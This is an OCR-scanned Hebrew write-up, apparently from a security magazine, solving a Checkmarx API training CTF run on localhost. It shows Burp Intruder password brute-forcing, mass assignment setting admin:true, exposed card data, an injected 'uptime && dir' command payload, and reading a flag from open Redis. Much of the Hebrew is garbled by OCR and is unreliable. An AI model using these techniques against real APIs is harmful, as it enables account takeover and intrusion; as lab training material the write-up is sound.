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Checkmarx Training & Learning

Resources Troubleshooting Prizes Notifications users Scoreboard challenges

Register | Login

Getting started

Checkmarx API Training and Learning CTF!
To begin the CTF please follow these steps:

pownload the exploitable application using docker

Click The whale:

ii;"

Prerequisites:

Docker and docker-compose installed on your machine

Instructions:

create a folder and place the docker-compose file inside, then use this command:
docker-compose up -d

The frontend will be running on port 4100
The backend will be running on port 8000

Need help? Make sure you check out
the Resources page
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Gotta Catch ‘em All
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Broken API

Broken Object Level Authorization (80)
Broken User Authentication (100) g

Chal lenge 11 Solves
Improper API Management

Excessive Data Exposure (80)

Improper Assets Management (80) BrOken FunCt-i on Leve-l
Lack of Resources & Rate Limiting (80) Author—i Zati on

Security Miscontigurations
Insufficient Logging (50)

Mass Assignment (50) 5()

Injection (80)

Security Misconfiguration (100) -

* ok ok ke k

Complex access control policies with
different hierarchies, groups, and
roles, and an unclear separation between
administrative and regular functions,

tend to lead to authorization flaws. By

exploiting these issues, attackers gain
access to other users’ resources and/or

administrative functions
SUNTID WA IR NIKYIN M2 DY 'RY DYZY79R] DIPNn RIXA? DD INIXY 17 MIR DTY NN
N1 (/admin/manageUsers :XNAIT7?) 71NN 7wnn? 7mMwun NdIYN 2'N1 DAY NRXIV'O 7V IAwNN
In1 (/e g i
[PNY XIT" IN D72 NN'PNN X7 D DTN K7 NI ARWIN "2 D'YNNWUN T 7Y DA nwa?

.N71V9N YIXTA7 nwWAIM XIN N'Y7R WA DN

Single NNNX 0'7'2 IX Angular)S a10n N'¥P79X8] MY 'MIAN ,N'NRI79R ¥ VIV'Y INRY TR
MU7NN IT NTIRMN .NIP7N-TY T2 DIWA 0RMINE NRRAMN 75 IR 070N TWR Page Application

70 1'w7 anom"w nipm IR 2N 7R KIXN? NNVN2 DRIYN JavaScript-n '¥ap DX [INQY7 TR VIAnY

AppSec Villiage DefCon30Manx [INNa
www.DigitalWhisper.co.il
3 2023 WNN29 ,147 [1I'a




2 C @ localthost4100/s

columnbiumber: 44
}, this)
}, void @, false, {
filoName: _jsxFiloName,
lineNumber: 76,
columnbumber: 13
}, this), /*#__PURE_ */(@,react_jsx_dev_runtime_ WEBPACK_IMPORTED_MOOULE_7__.jsxDEV)(react_router_dom_ WEBPACK_IMPORTED_MODULE_S |
path: "/article/:slug",
element: /*#_ PURE_ */(,react_jsx_dev_runtime_ WEBPACK_IMPORTED_MOOULE_7_ ., 3isxDEV)(Article, {}, void ©, false, {
fileMame: _jsxFileName,
lineNumber: 77,
columnNumber: 51

}, this)

}, void @, false, {
fileName: _jsxFileName,
lineMumber: 77,
columniumber: 13

element: /*8_ PURE__*/(0,react_jsx_dev_runtise_ WEBPACK_IMPORTED _MOOULE_7__ . jsxDEV)(AdminPage, (), void @, false, {
fileMame: _jsxFileName,
lineNumber: 78,
columnumber: 43
J.this)
¥, void @, false, {
fileName: _jsxFileName,
lineNumber: 78,
columniiumber: 13
}, this), /*s__PURE__*/(0,react_jsx_dev_runtime__WEBPACK_IMPORTED_MOOULE_7__.3jsxDEV)(react_router_dom__WEBPACK_IMPORTED_MOOULE_8 |
path: “/logging",
element: /*8__PURE__*/(0,react_jsx_dev_runtime_ WEBPACK_IMPORTED_MOOULE_7__.JsxDEV)(Logging, ()}, void @, false, {
fileName: _jsxFileName,
lineNumber: 79,
columniiumber: 45
}, this)
}, void 0, false, (
fileMame: _jsxFileName,
lineNumber: 79,

columniumber: 13
}, this), /*#__PURE__*/(®,react_jsx_dev_runtime_ WEBPACK_IMPORTED_MOOULE_7__.jsxDEV)(react_router_dom_ WEBPACK_IMPORTED_MOOULE S |
path: “/settings",
element: /*8__PURE__*/(0,react_jsx_dev_runtime_ WEBPACK_IMPORTED _MODULE_7__.jsxDEV)(SettingsScreen, (), void 0, false, {
fileName: _jsxFileName,
lineNumber: B0,
)
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AT 0 L THY I INA 1D ke T LLE = 1yfipwa Lvamp RE FA L 20 la Piwd_i THWSCO P ——— lew-origin: *
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BLL1S/E, 0 (Wimdows NI 10, 0; Wiméd; wid) AppleWshiiz 517 36 (ENTHL, Live [
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Broken Function Level Authrization :1w 17w

Challenge 23 Solves

Broken Object Level
Authorization

80

Med |-
* ok kR

APIs tend to expose endpoints that
handle object identifiers, creating a
wide attack surface Level Access Control
issue. Object level authorization checks
should be considered in every function
that accesses a data source using an

input from the user

Broken Function Level-7 Tianaw (Broken Function Level Authrization) BOLA a1on niw7ina
[N Nd>yna ntion (APl Call Da Xx1j1) "n'xjpai9" wonT 0¥ IR XD ,07TI7A IND Authrization
TPNNNT7 NX¥11,0T 2101 NIYWZIN WONYT NXNIWD 2NYT .01Y NP2 112200 K77 NIKWAN 97vn 12 yxaY?
NN NNWY [Irona (GET /users/<id>/info :XnaIT7) NamM>n NIwa nnm yvTn 01'avnw APl Calls-a
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Broken User Authentication :'w'hw 1w

Broken APT

Challenge 18 Solves
Improper APL Management

Broken User
Authentication

100

Security Misconfigurations

Hard
L 8 & &

Authentication mechanisms are often
implemented incorrectly, allowing
attackers to compromise authentication
tokens or to exploit implementation
flaws to assume other user’s identities
temporarily or permanently. Compromising
a system’s ability to identify the
client/user, compromises APT security

overall
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My favourites pokemon!

Pikachu
Sun Aipg 14 2023

flygon luxray garchomp gyarados absol ninetales torterra komala lurantis charizard gengar arcanine bulbasaur dragonite

Blaziken snorlax Mudkip Jigglypuff ninetals squirtle
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| am Pikachul!

e Pikachu

There is only one Pikachu! you can be Balbazur if you want.. contact me at Pikachu@checkmarx.com

Burp Intruder-7 DNIX [Y01 KA .I'YX?'D 7@ 700 NAIMDI DIN'PI9 7 NN DNIYIL WIT DTN
TAX 27U NINWNN VN NN RNOI0NT 71NN N WNNWNN DY NTY IWRD ,NNANNNN 7w API-n 7y

:0IN'PIS5Sn bwn

Burp Project intruder Repeater wWindow Help Burg te Profe ol w2022 £
Dashboard Target Proxy __Intruder Repeater Sequencer Decoder Comparer Logger Extender Project options
1 x 2 x 3 x
Postions Paytoads Resource Pool Options
3 hoose an attack type

Attack type: Sniper

(?) Payload Positions

Configure the positions where payloads will be inserted, they can be added into the target as well as the base request

Target http:/Nocalhost: 8000

POST Japir/vi/users/login HTTP/1. 4
Host localhost: 8000
Content-Length: &1

sec-ch-ua: “Chromium®;v="103", * Not/A)Brand~ ,v="98"

sec-ch-ua-mobile: 70

User-Agent: Momilla/$.0 (Vindows NT 10.0; Viné4, x&4) AppleVWebKit/537.3& (FHTML, like Gecko) Chrome/103.0. S0£0.134
sec-ch-ua-plattform: “Windows"

content-type: application/json

Accept

Origin: hccp /lecalhost 4100
Sec~Fetch-Site. same-site

Sec-Fetch-Mode ors

Sec-Fetch-Dest: smpty

Referer: hetp://localhost: 4100
Accept-Encoding: gsip, deflate
Accept-Language: en-GB,en-US;q=0.9, en;q=0.8
Connection: close

("user™: (“email” Pikachucheckmarx -{,‘p&slvo(d' Sananas nil
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Attack  Save Columns 12. Intruder attack of hitp:/Aocaihoy Temporary attack - Not saved to project file - 0 X
Results Positions Payloads Resource Pool Options
Filter: Showing all tems @
Requ Payload Status Error  Timeout Length Comment
> VL SR -~ “v
10 charizard 400 267
n gengar 400 267
12 arcanine 400 267
13 bulbasaur 400 267
“ dragonite 400 267
” w00 20"
18 hgotyputt 400 267
19 ninetals 400 267
20 squirtie 400 267
Request Response
Pretty Hex JSON Web Tokens . w =
[T AT NS conNCrOL“ALLOV-CTRONTIALS . TIUe
Connection: close
(
*user*:{(
“username”: “"Pikachu”*,
“email®: "Pikachulchecknars con”,
*bio"
*THIS IS A TOP SECRET: This application is not logying and monitoring user's activities You might wanna check the 1
guing sndpoint in the application o
Timage”
"hetps: //inages-vienp-edl0a0EhBcdcaBEV773594cs vienp . con/ t/J0e23551~ A-AEd4-4aaTICL02731 /4553 a%m-54352d40

13¢-bBET-0010a04 1863, Jpg/vl/till/vw_S00,h_%00,q 75, strp/pikachu_wallpaper_by moustachegirlOs_dS53aSm-tullviewv. Ipg
=eyJ0eXALOLIRVIQLLCINDGCL0L I TURTINIYY . ayledVI104) LondEYXBWO JAINGYx0Dgs0D Iyl Qe eV YWZD JxVVENC Oy nlv] iwi 0ie 1
alueDoIZTBRNT g4 0T gy N TOMzca Y TVRNGCOONTVIYTEEN) ZINCIs InS1al 16VIt 7 Inh]l aWdodCIET JwOTAW I dwicC

S000DA LWEZZD e NChNaN A MTAy NaNaXCSeNTU2YTL yIDOWLTc4AYact DM 2L LA CDYILT guMWUNTTAD Myhqe ALCIJaWROW TA
vInl d¥SviTHVi 1 3pb InVy THIZANNL Om1e YWAL LuSvZXIhdG LlvhbnM 00 NLpVIT0SBIl0HOURITJeqi 141 Dr S1RR gk YCroe Q4T g",
“adain”: talse,
“token®
“eyJ0eXALCLIEVIQLLCINDCoL OAJ IURTANATY eyl lclVybaleiSIE 1 1Epaly alUALCI 1 e BAL O RN BT caNTAS INNIYA IE Inl3 Y yJ® 0LlC wiéy
voBEAnind-Ml an¥s 75 aWu0 ) bFUNHcES RS k™

L

"flag®: " tlag(brOkIn_uS3:r_duthintlcAvloN)*

sdassr dns 4o

"Authentication mechanisas are often isplemented incorrectly, allowving attackers t compromise authentication tokens or ¢
exploit implementation tlaws to assume other user’s identities temporarily or permanently. Compromising system's abilic

dentify the client/user, compromises API security overall

@@ € 0 matches

i) S ———————s—s—————————
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Excessive Data Exposure :'y'an 2w

:NQN 2A7W7 DD'WUNN NN IYNRP' 7Y 12WNN 7V NT'NXR 17 W' N

Challenge 11 Solves

Excessive Data
Exposure

80

Nedium
ok hk kR

Looking forward to generic
implementations, developers tend to
expose all object properties without
considering their individual
sensitivity, relying on clients to
perform the data filtering before

displaying it to the user

D'YNNYN 7 yT'N NISY? 117 NNWOXNY NINP 0'UONN 1NY 11X Excessive Data Exposure-2
X7 [I'0In .(...I'"21 'ROWK 0'0ND ,T.N :RNAIT?) 'aNI9 NIFN7 MMX XY IX U0 VT'Nn7 nlpna ,0NNx
X7 (...1'71 React)S ,AngularJS ,VuelS [12D) NAIXNIN N2OY 1AW NN NINIRY 7¥X 07PN 2NY ,0un
D'YIIN X7Y 0'WIRY "nwna yim"™ nimxy "nian" nnxn )oal AP-nn 7apnny yTmin 75 N nakn
NINW VA1 72X NIR7N 7¢ nNDwnl '019 DWW NI9Y? T'797 NNYT 1N Y2 AT ...17% DIN12 NIDXYT

.SRIUN 0'01) 7Y K70 19001 T.N,NTY7 1IRN DA TNINY DX XIN DN AP-7 wae

API-n OXN NIXY1I NdYNA D'7'91N90 7D 7w 19 yX¥ah XN yX¥aY? 721w 0IwRIN 0NATN TNX

:0"10N 7'9119 127 ' TNNT7 WK X7 XINW 011N 1'Thn Nt

Burp Project Intruder Repeater Window Help Burp
Dashboard Target Proxy Intruder Repeater Sequencer De
1 % 2 x 3 x 4 x
Positions Payloads Resource Pool Options
(3 Choose an attack type

Attack type: | Sniper

®

Configure the positions where payloads will be inserted, they can be added into the

Target  http://localhost:8000

L GET /api/profiles/§Dev_updates_1§ HTTP/1.1
Host: localhost:8000
Accept.

4 Access-Control-Recuest-Method: GET

S Access-Control-Request-Headers: authorization
Origin: http://localhost:4100

authorization: Token eyJ0eXAiOiJKVLIQiLCIhbGeiOiJIUzIINATS. o
User-Agent: Mozilla/$.0 (Windows NT 10.0; Wing4; xE4) Apple]
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

11 Sec-Fetch-Dest: empty
Referer: http://localhost: 4100/

13 Accept-Encoding: gzip, deflate

4 Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

15 Connection: close
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NINI MDWNA PTIVA DN7Y 'RIWN 0'01) 19010 (71T INT'A) DZIN NHY 21NN N NN 1WN] §101Y

NYRAN 7Y nIwNnn P7nd 1IN

B atac save  Columns
’ Results Postions Payloads

Filter: Showing all items

Requ Payload St
0 08
1 Bob_the_dev 200
2 Hodor 200
3 Pikachu 200
4 Ash20Ketchum 200
5 Bastoise 200
6 TeamRScket 200

Request Response

Pretty F

Y

PREC+Bvnzfurdla

o 0 X

Resource Pool Options

atus Error  Timeout Length Comment

TUTTOVINg T TAISw;
*cardiame”: "Tean ¥
"cardiusber”: "44
"cardCve" BE®,
*cardixpiry”: 0825}

| Finished

0 matches

117 VTN NHPNAY DNYY 'NIWUNKL WNNWAYTZ NI027 ATI DRI 20 12D N2'N '¥XP'9Y NNpan vad yan

:D'D"MY NNIXY 22TN DX

Team Rocket

4426111122223333

565

0922

© nn4hxnl

11
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Broken API

Improper API Management

Lack of Resources & Rate Limiting (80)
Security Misconfigurations

Mass Assignment (50)
Injection (80)

Security Misconfiguration (100)

Improper Assets Mangement :'w'nn v

Challenge 13 Solves X

Improper Assets
Management

80

odium
L B

APIs tend to expose more endpoints than
traditional web applications, making

proper and updated documentation highly

important. Proper hosts and deployed API
versions inventory also play an
important role to mitigate issues such
as deprecated API versions and exposed
debug endpoints

API-n 7w NiIw NIXONA NITYY7 D'V DY D'NNSN ?Improper Assets Mangement DXV NT NN TX

DIV NIXOMA 1IN0 DNIX T19n7 7221 D'YUTN DN'XV'D IN D'I'Y 7V D'TAIY DNV 'TD 1N RN

7021 NIY' NIXRONAL NNV I'NY NIYYZIN NISNT7 D'DRIND 117 DNWONN 7D |DIXAL (/vl/.../v2/... |12D)

INIX 1711 API-N 7@ NINTIZ NIXONAQ RZIN ARNIN 720U D'NIN'D 1Ay N9'PNN NLYWN DX 2'NnY

.0'T1alY

fapi/v2/" v "2 'n2an7 7211 17w NAanKa API-0 7w X01A7 210 27 D'wa DX D7
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LTechnoloagic

Request
Pretty Raw Hex

POST lapii;;]usezslloqxn HTTP/1.1
Host: localhost:8000

Content~Length: &3

sec~ch~ua: “"Chromium" ;v="103", " _Not/A)Brand",v="98"

sec~ch-ua-mobile: 70

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winéd, xE4) AppleWebKit/537
Gecko) Chrome/103.0.5060.134 Satari/537.36

sec~ch-ua-platform: “Vindows"

content~type: application/json

Accept: */*

Origin: http://localhost:4100

Sec~Fetch-Site: same-site

Sec~Fetch-NMode: cors

Sec-Fetch-Dest: empty

i Referer: http://localhost:4100/
Accept-~Encoding: gzip, deflate
Accept-Language: en-GB,en-US,;q=0.9,en,;q=0.8
Connection: close

{
"user": {(
“email": "Pikachufichecknmarx. com”,
"passvord”: "snorlax"
}
)

M nn axa v/t /v2/"M-n 7vn IR NIRYWY n011 nyd

a- -
Response
Her | s Pretty  Raw Vs B s
sars/login HYTH/L L RITR/L 4 200 ¢
Fec: 0000 date: Sun, 14 Aug 2027 05:24:06 GNT
angeh: €3 Tver: uwicerm
“Chrenium® v 103°, " Net/AiBrand® oe-as

ot e -Lengeh 1084

st e -Type  applioationsisen
controleallow-srigin: *
access-control-allov-credentiale: trus
Comnection rlese

“Agent: MezillasS. 0 (Mindsws MY 10.0; Windd; x&d) AppleWehKit/L37.3& (FNTNL, iike
€0 134 Safari/s17. 3¢
e
~type  applicasion/isen

Ozigim: http://localbest:§100
Sec-Fetch-8ite  same-site
Sec-Fecah-Mode corn

Accepe- ,en-US;qe0 9, em;qv0. 0

Connection: cizes
(
“user*: |
"email®: *Pikachubchacknars. con”,
*passvord® “snotlia

|
|

“token®: ‘Yesp it wp

I

*Chay® | RAARL TSRO AN A

“description”

16 AJI versions ate Usually unpatched and At An sasy way L Compromive Systess ¥
Lmy 0o LAGE WLate-of—the-art security wechanives. wiich might be Ln pla

IN7w 277 72T0 DR DA 7272 NNANNNN PwNna API-0 NIRONA 7W '1'WR Ny Nl
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Lack of Resources & Rate Limiting :'w'w 2w

:Improper APl Mangement XWI12 NINNXD NN'WUNY 12Van NYd

Broken API

Challenge 11 solves
Improper API Management

Lack of Resources &
Lack of Resources & Rate Limiting (80) Rate L1' m-i t1' ng

Security Misconfigurations

Mass Assignment (50) 80

Injection (80)

Security Misconfiguration (100) L
* ok kAR

Quite often, APIs do not impose any
restrictions on the size or number of
resources that can be requested by the
client/user. Not only can this impact
the API server performance, leading to
Denial of Service (DoS), but also leaves
the door open to authentication flaws
such as brute force

VI IN NIYPA 12N NIAPYA NINNA YW NIY7IN7 nron'nn 11X Lack of Resource & Rate Limiting-a
NN [N NIroX7e NINNAIT .(DoS) NiN'w ny'an? nNa 719 TUXK NWN-T¥2 DN TA'Y 7w ony
NI'OX77 NI9'WN 17'OK IN NNWN-T¥A D'¥31 DIN] TIAY D'7Wnn? NIaNn NIvpa viX'a Regex 1nd

.Internger Buffer Overflow 120

AWKX NIYPI DRIY D'DIWI DN0ATD INI'Y ANd NISNYT AIWN NIIYWRY 718 NTI7 D'OYUNNWD D7
NIYPA NNd 19MI NNPY7OX 1I'0 INKYT LI7RN D'Y'NONNN NI IR TRN? 0'91wN NiFn? 071!
NIN 1227 NNXA ["IVNY NN X 21722 DINKRAN 7D DR AN APl X¥N1 Postman NIVXNAX] NINMWOKX

:NYRA 701 7272 nimiwn 10-7 097w 01NN NIND NIX '7'2an KINW nTaIvn

o= -
8w =
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NOINY D1 077N MINKA NTA) KN7'RY Y¥A7 NIWUN-TX7 DNA7 NI017 D' 1'WDY NFALIVONRN
DOS-7 niMA7 0717y TWUX DAY DRARWN 717 217V Npnaw an  nmivn 97x 100-n N 91wt

2210 DX 7271 limit 10N9N YW WN DX NWIY INKYT RINW?D

| 5

@ v = 8 v =

=FEIS1E11Npacy ) aUALCT LeHALO I BIN) RuliTCO

1043 TUSTANLIS @
L] B2PBOVEgSVIIcTINeChqLlaRy

39 NTVOVILCAVG ame Py

0 (Windows NT 10.0; Winéd; =64) AppleWebRit/837 34 (KMTNL, like
» me/103.0.5060. 134 Satari/$37.38

h-ua-plat torm: “¥indows"

v: *se

h-Node
Sec-Fetch-Dest
Referer: hxep: //
Accept-Incoding
Accept-Language  en-
Comnection: close

t op
"aglise®: |

1.
auehor™: (

“aduin®: talse,
“usernane” "D
“Bio®:

*image®:null,
*tollowing”: false,
*cardiane” sull,
*cardiusber”:null,
*cardCve®:null,
*cardBapiry” null

).

© 7Y 72T NR 117 TN 91027 Nn
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Insuffianct Logging :'v'aw 2w

Broken API

Challenge 9 Solves
Improper API Management

Improper Assets Management (80) InSUff-i C-i ent Loggi ng

Lack of Resources & Rate Limiting (80)
Security Misconfigurations 5()

Mass Assignment (50) Easy
Injection (80) L & & & ¢

Security Misconfiguration (100)
Insufficient logging and monitoring,

coupled with missing or ineffective

integration with incident response,

allows attackers to further attack
systems, maintain persistence, pivot to
more systems to tamper with, extract, or
destroy data. Most breach studies
demonstrate the time to detect a breach
is over 200 days, typically detected by
external parties rather than internal
processes or monitoring.

"N AITAN 17002 NI7IYD TIV'NY D'RINK TWKR APl 'pwunn won1 aN%? X Insuffienact Logging-2
DXV NNIX N'¥P'79X2 D7D TIV'A [9IX 7V V'OUN7 D'71D' 1INIXI NTNAY X'N N2'0N .D'X7*79RN
T¥2 NIN'S NHXN 7 APNNN NI7IWD ¥ NIYRnYT 1221 0'9RIND N7¢ NI7vsn nX "non"? oo

© mwn

Burp-2 NIDTX 27 K¥N1 X7 TIY'NY IR D177 MWUpY XINW?> APl punn woNn7 n01wd N7¢ njzna
-N DX PIT2Y Y212 02 2 ,(11N2yw Endpoints-n 72 NX 11112y nonny Target->Scope 0T 7wnY)

?|NDN D'ATEPNN YN .. IDTR DWY XX¥N1 K7 1INIX 117 7910w Swagger-n IX Postman

N7v 02'MIN 72 DX NN n'xp"?sxn DI' 7¥ 19101 ?NIYXIN N9'WNA I'7V INIYY N DX DNDIT

117w bundle.js-7 21w qIoN Van N ™) INP7N-TY2

C ® localhost:4100/stat

columnNumber: 13

}, this), /*#_ PURE__*/(0,react_jsx_dev_runtime__WEBPACK_IMPORTED_MODULE_7__.jsxDEV)(react_router_dom_
path: "/admin",
element: /*#__PURE__*/(©,react_jsx_dev_runtime__WEBPACK_IMPORTED_MODULE_7__.3jsxDEV)(AdminPage, {}, v
fileName: _jsxFileName,

lineNumber: 78,
columnNumber: 43
}, this)

), void 0, false, {
fileName: _jsxFileName,
lineNumber: 78,
columnNumber: 13

Prtits)y e PURE] _*/(0,react_jsx_dev_runtime__WEBPACK_IMPORTED_MODULE_7__.jsxDEV)(react_router_dom_
path: " z e s
element: /*# PURE */(0,react_jsx_dev_runtime__ WEBPACK_IMPORTED_MODULE_7__.jsxDEV)(Logging, {}, voi
fileName: _jsxFileName,

lineNumber: 79,

columnNumber: 45
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-1 POST NIY¥NNA N0 ,NIN'Y! I'7X NIIOY N0 KIA TX /logging DWA API 07w 1INXN MWD TX 1N71un

7Y T PR N7 TNy GET-2 Mamw n'72aw TV GET

G

Mass Assigment :2'nv 1w

Broken API

Challenge 26 Solves
Improper API Management

Mass Assignment

Security Misconfigurations 50

Easy

Injection (80) T A A AN

Security Misconfiguration (100)
Binding client provided data (e.g.,
JSON) to data models, without proper
properties filtering based on an
allowlist, usually leads to Mass
Assignment. Either guessing objects
properties, exploring other API
endpoints, reading the documentation, or
providing additional object properties
in request payloads, allows attackers to
modify object properties they are not
supposed to

PHP Object-1 .NET MVC ,Spring MVC 112y AutoBinding DA NX1j72n) Mass Assigment Nopnn
N7 NIR7R-TYN 0N DR D720 D'NN9AN 12 2¥N7 NON'NN TWR N9pnn X'N (Injection
P21 727 N9¥N NMWN TWR DININ 10 7W NINM'R IR DDA 7V 077 MNza YIXa K77 0PI

.No¥N X7 n'xp"wxnw |91 MYN-TX2 0'N"1on 0Dy onT? ’-]PIJ'\'? NYOSKN

X2N TN DY niNannn 0910 o'y n||7'7-'rx:u N'1,XNAIT?

name="username” type="text”>

name="password” type="text”>
type="submit”>

.username, password, isAdmin :D>IVN NX 7'20 VWK OPMIAINA 122 NN T TIRI
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[P isAdmin VNY wN1? / awim 7277 7510 ox ,NNNR D'7'02 2101 isAdmin 09102 117 'R 1van 7R
21VN7 NTYIM NYRAN 192 NNNY) 17 nwpal 9o 10N IR 9'0INY 7210 NNWN-TA 07

IINIX TAY?71 DA DTN WD DK TAY? NMYN-TX7 DNA'Y N (T272 XNo'ol wnnwun oY N

TV D7 MY-TYAW NIRTT? 7210 AXZ'79XN 7w nNanNnn Nwpan v 75N01 DX NAnNK? ntha

N7 IN 7010 wnnwna 11T oX |*'¥nn admin

a- -
w = Pretty R N Web Toke nw =

date

Mot /A) Brand® ;ve" 8

Vybare 2516 InRoN vy 2 FOAVIuT ivi DOw] Jox
lySpwzlvaspRBrGALZ0sBeTev]_L IHWGCO

i ®EA) AppleVWebNir/537.3& (KMTHL

tp: //1ocalhost : 4100 eyJ0eXA KV1QiLCIN 13 N9 eydl uft InkoM POAWSUT iwi
Ac ding: geip, defla MY MDYWMTg=LCI=dWI104 MicIMi Q. sNTRRIYAIELNZhn-PT KvTTICAqISUbIINg
Accept-Language: en-GB,en-US;qe0. 9, en;qe0. 1

Connection: clowe

-NN 77N> admin: true TVNISN NX NI7Y? NYD DO D NIX? 2admin W DX ONT7? 7212 DRN
NNIENN NYRan 7w JSON
"user": {

"email": "maor@sikreta.com"
"username": "th3location",

HbioH 0 " ll,
"image": "https://static.productionready.io/images/smily-cyrus.jpg
"admin": true,

© 1n7v a1 DX 7271 910171

AppSec Villiage DefCon30Manx |INNa
www.DigitalWhisper.co.il
18 2023 WNN29 ,147 [1I'a




Technologic r

Injection :'y'wn 1w

Broken API

Challenge 14 Solves

Improper API Management Injecti On

Security Misconfigurations Medium

* ok ok kW

Injection flaws, such as SQL, NoSQL,
Security Misconfiguration (100) Command Injection, etc., occur when
untrusted data is sent to an interpreter
as part of a command or query. The

attacker’s malicious data can trick the

interpreter into executing unintended

commands or accessing data without

proper authorization

API-n MW7 Nwpaa 0'N7WIN D'M0NISNN NP IR TN 1AW DI RIXAY? 12*7V Injection N9pnna

121 NoSQL ,Cross-Site Scripting ,SQL Injeciton ,GraphSQL |12 NIATA 'AI0N NISPNNYT qlwn

- [0) 17 0UEn TIVAN 9D 7V 112V DIMYORN N0'DN NI 7D DX NIDN7 CTO MANKD )7nna
D"7'n1 IX "Shadow Methods" 17 oM pw NI7a% 7510 DNIW NIX N1 WD .(Swagger-1 |nI Postman

NNPYOKR] 7200 VIV'WN 7NN 1IR¥N K7W AP NIRMZ NINNKR

:Postman-a 72200 TIv'nn 22727 my

Key value
c{apijtal
equests Content-Type application/json
Auth X-Requested-With HMLHE pRequest
Authorization Token

:debug Dwa API NX"j7 NITIX VT 17 qQUINW Swagger-n a7 I'Ydyl

debug

l . /api/debug Debug ] =

Parameters Try it out

Request body application/json v ]

Example Value

Responses
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Request

Pretty Raw Hex

POST Japi/debug HTTP/L. 1

Hest: localhost:B8000
sec-ch-ua: “Chromius®;w="101%,
authorization: Token

oy 0eXAL0LIRVIQLLCThbGeL04TIUSTANATS . eyl Lol VybaFe IS 16 1 1BpacF ) AHULLCT LeHAL 09 EXN) BT CO
Vacyls NHiwbW11CHUE enc PpWb e RROVEgEWI Jo T e Chal LaR]

Mads InN1YilE1n
sec-ch-ua-mobi 10

=Agent: Mozilla/8. 0 (Windows NT 10.0; Winéd;
o) Chrome/103.0.5060.134 Satarif537.36
sec-ch-ua-plat form: “Windows"

Accept: */*

Origin: http://localhost: 4100

same-site

cors
Sec-Fetch-Dest: empty
Beferer: heep://localhose: 4100/

Accept-Encoding
Accept-Langquage
Connection: close
Content-Length: 50

guip, detlace
en~-CB,en-US:q=0. 9, en;q=0. 0

1
“body": |
“command®: "ip
]
|

enfiy

* Mot /A Brand® ;vwe"95"

Pretty
HTTP/L.1 400 Bad Request

Raw Hex

date: Sun, 14 Aug 2022 0&:13:28 GHT

server: uricorn
content-lengeh: 50
content-type: application/isen
access-control-allow-origin: *
-allow-credentials
close

access-contre
Connection

Trus

xE4) AppleWebFit/537.3& (FHTHL, like
i
"srrors®:|

“whitelise®: |
“rommands”®: |
“uptime
1
1]

DY9N NNIX NOMN TX uptime

- T272 N'9'¥50 NTIRO7 N72AIM NXININNYIoN V77 MNP D D DN

JIURD |I'0 N2 uptime && dir :XAN Payload-n Dy 72N

Raw Hex

/api/debug HTTP/1.1
host.: 5000

- *Chromium® jve"1
authorization: Teken
*yI0eXAL0LIRVIQALCTNDGe L0
Mz
sec-ch-ua-mebile: 10
User=Agent: Mozilla/s.0 (Vindows NT 10.0; Vinéd:
Gecko) Chrome/103.0.5060. 134 Satari/$37.36
sec-ch-ua-platform: “Windows"
Accope: */*
Origin: heep://
Sec-Petch-Site
e-Fatch-Node

03%, *.Mot/A)Brand* ve"98"

localbest: 4100
same-site

ors
c-Fetch-Dest: empty
terer: heep://lecalhont: 4100/
Accept-Encoding: guip, deflate

Accept-Language: n-GB, en-US:qe0. 9, eniqe0. 8
Connect ion
Content -Length

close
2

Response
8w s Pretty Raw Hex 8 v s
KITP/1.1 200 oK
date: Sun, 14 Aug 2037 06:10:18 GNT
server: uvicern
content-lengeh 196
ATIURTINASS. eydlcTVybuPu2S 16T 1Bpay) sliiALCI1eHALOI RSN BT O content-type: application/jsen

IRNLYAT6InF I YIVRCY IS NTWbWILCKUE enc PpUB Oz IBOVIgSVI e TINeChql LAkl

=641 AppleVebkic

€ origin: *
access-control-allow-credent ials
Comnection: close

true

/$37.36 (FMTHL, like

st douc*
1 day, L:4 ) users, loa 3,1 ) nalesbic. int
wp = PYEransform trequitements. t
" tlag*: " SAG IS RERIORIARL) " .
“description®
Ath malicious data chrough vhatever injection vectars
iNpUt, parameters, integrated services, et 1

an interpretar

119Y 2210 IR N7 W nwd NN nwn-TYA YO TN

20
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Security Misconfigurtion :jInnx1 "'wy A

Broken API

Security
Improper API Management Misconfi gu ration

Security Misconfigurations
* ok ok kK

Security misconfiguration is commonly a
result of unsecure default
configurations, incomplete or ad-hoc
configurations, open cloud storage,
misconfigured HTTP headers, unnecessary
HTTP methods, permissive Cross-Origin

resource sharing (CORS), and verbose

error messages containing sensitive

information

IN Twa NN NNE? NNTaN? Iwpw nn D% pront'nn X Security Misconfigurtion-a
.(...1'"21 QO VIS ,qIYN oI NN :|IAD) 'N'MYN NO'PN NVYWN 117 IUNYT NI717Y TWUR N'¥P"7ON]
X- D 17¥ Headers-N T Yy XINW 2171000 X QUINY APl DY 7wn? X'D N'OX77 XNl

.Server-1 Powered-By

002N N'N MYN-TYA DN ToNNY 'MIdM 117w T¥nn vx¥ia Dockers-n npnn 1"7:'1]'“ ANKNN
MTIN AT DX Y¥A7 ') ,9ivn 17¥ VII9N NX 1 TaN DN TON NNYWN DXN |7ITJ'7 'Mu7Nn T .Redis

:NNO0'0l UNNWN DY X77 NIIWNIN DY9A 'N'01I awnn? (N'a'n N1dIN) Redis GUI-N Nx

File Help Redis GUI - (] X

-,

Add new server

Local

localhost

(J SSH tunnel

ImMannn ...l
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JINNXN 22TN DX 2'WN? *TO2 021N TONN DIN DX PITA7 AT MNRY NN Nyd

> File Help Redis GUI = g X
- Redis GUI @ localvy 2 5o O i B dbO (1 keys) v
+ (L flag string (embstr) oo
select keys + B 7

b4 flag lag{5eC_MlscenFlg

o ?

nid'oY

2N [11an7 NIND DAY Ayl '9D M TIN'Y NANK NN 0T ,010N 170NN I'NY DNANKD 7D |'aV 790 |'R
DN NT 2100 DNANK D71 ITN N9IPNA TIKA DN KIN API Security 7w XWIIN NN 701 0'oNnwn v
178D IN DRIYXIN DN'TYXY DX DY7'NNNY 19X7 DA DINN2 DNDANTENIYTIMN DX D777 71D 07w wnn

© ndalon n'7'm Nt API Security n'7'nnY DRavIN |"TYY

Bug 1"7nnn 77nd IX NIj'70 ANKA XD NDTINY NIDPNNN NX YXA7 010NN DNX DRY |AYN2 INg
20 107 DY D'YNVIR Y701 DAl (XD DATINY 1ND) NINT NPT WIN'Y Y¥a7 21wWn bounty
D'2'7NNN DX "AN7 WAl NIR7N 7Y TIVMn DR TIND? ,(Burp Target-1 Authrize niyxnxa 7wun?)

